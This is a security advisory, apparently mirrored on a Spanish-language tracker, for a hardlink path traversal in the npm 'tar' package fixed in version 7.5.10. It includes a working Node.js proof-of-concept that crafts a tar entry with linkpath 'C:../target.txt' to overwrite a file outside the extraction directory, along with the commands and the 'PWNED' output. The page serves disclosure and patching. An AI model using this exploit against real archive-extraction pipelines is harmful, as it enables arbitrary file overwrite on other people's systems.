GHSA-QFFP-2RHF-9H96
tar has Hardlink Path Traversal via Drive-Relative Linkpath
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 7.5.10 | tar · -1 d desde divulgación | |
| Divulgación | Publicada | GHSA-QFFP-2RHF-9H96 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.
### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.
What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.
### PoC
Tested on Arch Linux with `tar@7.5.9`.
PoC script (`poc.cjs`):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})Run:
cd test-workspace
node poc.cjs && ls -l ../target.txtObserved output:
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.
### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmtar |
Corregida | 7.5.10 | -1 d | 7.5.23 no afectada |
7.5.10Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-29786https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9fhttps://github.com/isaacs/node-tarLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
